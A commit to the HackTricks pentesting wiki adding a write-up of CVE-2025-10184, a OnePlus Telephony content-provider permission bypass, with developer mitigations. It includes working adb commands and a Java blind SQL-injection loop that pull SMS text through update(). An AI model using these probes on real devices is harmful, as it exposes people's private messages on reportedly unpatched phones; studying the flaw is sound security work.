Merge pull request #1429 from HackTricks-wiki/update_CVE-2025-10184__OnePlus_OxygenOS_Telephony_provide_20250924_125101

CVE-2025-10184 OnePlus OxygenOS Telephony provider permissio...
This commit is contained in:
SirBroccoli 2025-09-30 22:53:30 +02:00 committed by GitHub
commit a96eb96d2e
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
2 changed files with 108 additions and 0 deletions

View File

@ -322,6 +322,12 @@ To understand a receiver's functionality, look for the **`onReceive`** method wi
Input validation is paramount to prevent vulnerabilities, such as SQL injection. Content Providers support basic operations: `insert()`, `update()`, `delete()`, and `query()`, facilitating data manipulation and sharing among applications. Input validation is paramount to prevent vulnerabilities, such as SQL injection. Content Providers support basic operations: `insert()`, `update()`, `delete()`, and `query()`, facilitating data manipulation and sharing among applications.
### Permission semantics and pitfalls (Content Providers)
- If a provider is exported, you should declare both readPermission and writePermission explicitly. When writePermission is omitted the default is null, meaning any app can attempt insert/update/delete if those methods are implemented by the provider.
- Never concatenate untrusted projection, selection, selectionArgs, or sortOrder into raw SQL. Use whitelists and parameter binding (e.g., SQLiteQueryBuilder with a projection map) and fixed WHERE templates.
- Prefer android:exported="false" unless the provider must be public. For selective sharing, use grantUriPermissions with path/pathPrefix/pathPattern.
**FileProvider**, a specialized Content Provider, focuses on sharing files securely. It is defined in the app's manifest with specific attributes to control access to folders, denoted by `android:exported` and `android:resource` pointing to folder configurations. Caution is advised when sharing directories to avoid exposing sensitive data inadvertently. **FileProvider**, a specialized Content Provider, focuses on sharing files securely. It is defined in the app's manifest with specific attributes to control access to folders, denoted by `android:exported` and `android:resource` pointing to folder configurations. Caution is advised when sharing directories to avoid exposing sensitive data inadvertently.
Example manifest declaration for FileProvider: Example manifest declaration for FileProvider:
@ -500,6 +506,11 @@ Tools / scripts that speed-up Binder reconnaissance:
- [Android Developer Docs AIDL](https://developer.android.com/guide/components/aidl) - [Android Developer Docs AIDL](https://developer.android.com/guide/components/aidl)
- [Android Developer Docs IBinder](https://developer.android.com/reference/android/os/IBinder) - [Android Developer Docs IBinder](https://developer.android.com/reference/android/os/IBinder)
- [Understanding Binder, Talk @ Google](https://www.youtube.com/watch?v=O-UHvFjxwZ8) - [Understanding Binder, Talk @ Google](https://www.youtube.com/watch?v=O-UHvFjxwZ8)
- [CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)](https://www.rapid7.com/blog/post/cve-2025-10184-oneplus-oxygenos-telephony-provider-permission-bypass-not-fixed/)
- [Android docs: Content providers](https://developer.android.com/guide/topics/providers/content-provider-basics)
- [Android manifest provider: readPermission](https://developer.android.com/guide/topics/manifest/provider-element#rprmsn)
- [Android manifest provider: writePermission](https://developer.android.com/guide/topics/manifest/provider-element#wprmsn)
- [Android ContentResolver.update()](https://developer.android.com/reference/android/content/ContentResolver#update(android.net.Uri,%20android.content.ContentValues,%20java.lang.String,%20java.lang.String[]))
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -157,6 +157,98 @@ Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/not
sqlite_sequence sqlite_sequence
``` ```
### writePermission omission + blind SQLi via update()
A common OEM mistake is to export a ContentProvider with a readPermission but omit writePermission. When writePermission is null, any app can call insert/update/delete if those methods are implemented. If update() concatenates the caller-controlled WHERE (selection) directly into an SQL statement, you can build a blind inference oracle and exfiltrate data from other tables in the same SQLite DB (even those normally protected by privileged read permissions like READ_SMS).
Key idea
- Exported provider, readPermission set, writePermission omitted
- update(uri, values, where, whereArgs) returns rows-affected; UNIQUE constraint errors also indicate a write attempt happened
- Attack controls WHERE to evaluate a Boolean expression over a subquery that reads secret data from co-located tables
- If the providers table is empty, insert() can be abused to seed a row so update() affects ≥1 row
Discovery workflow
- Enumerate exported providers and check perms:
- drozer: run app.provider.info -a <pkg>
- adb: aapt dump xmltree APK AndroidManifest.xml | grep -A5 "<provider"
- Look for providers with readPermission set but writePermission missing
- Confirm update() is implemented and selection is injectable (projection/selection/sortOrder often are; update() selection is commonly overlooked)
Co-location and schema probe (adb)
Use sqlite_master to verify the target table exists in the same DB file:
```bash
adb shell cmd content query \
--uri content://service-number/service_number \
--where '(SELECT COUNT(*) FROM (SELECT tbl_name FROM sqlite_master WHERE tbl_name = "sms"))>0'
```
Seeding a row (if needed)
If update() returns 0 because the providers table is empty, insert a dummy row first. Many OEM providers accept arbitrary ContentValues with no validation:
```bash
adb shell cmd content insert \
--uri content://service-number/service_number \
--bind hash_number:s:dummy
```
Blind Boolean oracle via update()
- Predicate template: 1=1 AND unicode(substr((<subquery>), <idx>, 1)) BETWEEN <lo> AND <hi>
- TRUE if update() > 0 or a UNIQUE constraint exception is thrown; FALSE otherwise
- Binary search [0..127] to recover each character
Minimal extraction loop (pseudocode)
```java
boolean probe(Uri uri, String where) {
ContentValues cv = new ContentValues();
cv.put("rowid", "123");
try {
return getContentResolver().update(uri, cv, where, null) > 0;
} catch (Exception e) {
return e.getMessage() != null && e.getMessage().contains("UNIQUE constraint failed");
}
}
char leakChar(Uri uri, String subquery, int pos) {
int lo = 0, win = 127;
while (true) {
String where = String.format(
"1=1 AND unicode(substr((%s), %d, 1)) BETWEEN %d AND %d",
subquery, pos, lo, lo + win);
if (probe(uri, where)) {
if (win == 0) return (char) lo;
win = (win > 3) ? (win / 2) : (win - 1);
} else {
if (lo == 0 && win == 127) return '\0';
lo = (win > 0) ? (lo + win) : (lo + 1);
}
}
}
```
adb example of a single probe
```bash
# Try to infer whether first char of latest SMS body is between '0'(48) and '9'(57)
adb shell cmd content update \
--uri content://service-number/service_number \
--bind rowid:s:123 \
--where '1=1 AND unicode(substr((SELECT body FROM sms ORDER BY rowid DESC LIMIT 1),1,1)) BETWEEN 48 AND 57'
```
Notes
- Works only if the target table (e.g., sms) is in the same SQLite database used by the vulnerable provider
- insert()/update()/delete() must be callable by unprivileged apps (writePermission omitted)
- The exact URI and table names differ per OEM/provider; examples seen in the wild include:
- content://service-number/service_number
- content://push-mms/push
- content://push-shop/push_shop
Mitigations for app/ROM developers
- Always declare both readPermission and writePermission on exported providers; prefer android:exported="false" by default
- Sanitize or bind selection / projection / sortOrder; do not concatenate caller input into SQL
- Use SQLiteQueryBuilder with a projection map and fixed WHERE templates; validate column names against a whitelist
- Keep sensitive tables in a separate DB not shared with untrusted providers
## **File System-backed Content Providers** ## **File System-backed Content Providers**
Content providers could be also used to **access files:** Content providers could be also used to **access files:**
@ -249,6 +341,11 @@ These changes in recent Android versions mean many legacy exploitation primitive
## References ## References
- [CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)](https://www.rapid7.com/blog/post/cve-2025-10184-oneplus-oxygenos-telephony-provider-permission-bypass-not-fixed/)
- [Android docs: Content providers](https://developer.android.com/guide/topics/providers/content-provider-basics)
- [Android manifest provider: readPermission](https://developer.android.com/guide/topics/manifest/provider-element#rprmsn)
- [Android manifest provider: writePermission](https://developer.android.com/guide/topics/manifest/provider-element#wprmsn)
- [Android ContentResolver.update()](https://developer.android.com/reference/android/content/ContentResolver#update(android.net.Uri,%20android.content.ContentValues,%20java.lang.String,%20java.lang.String[]))
- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm) - [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/) - [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf) - [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)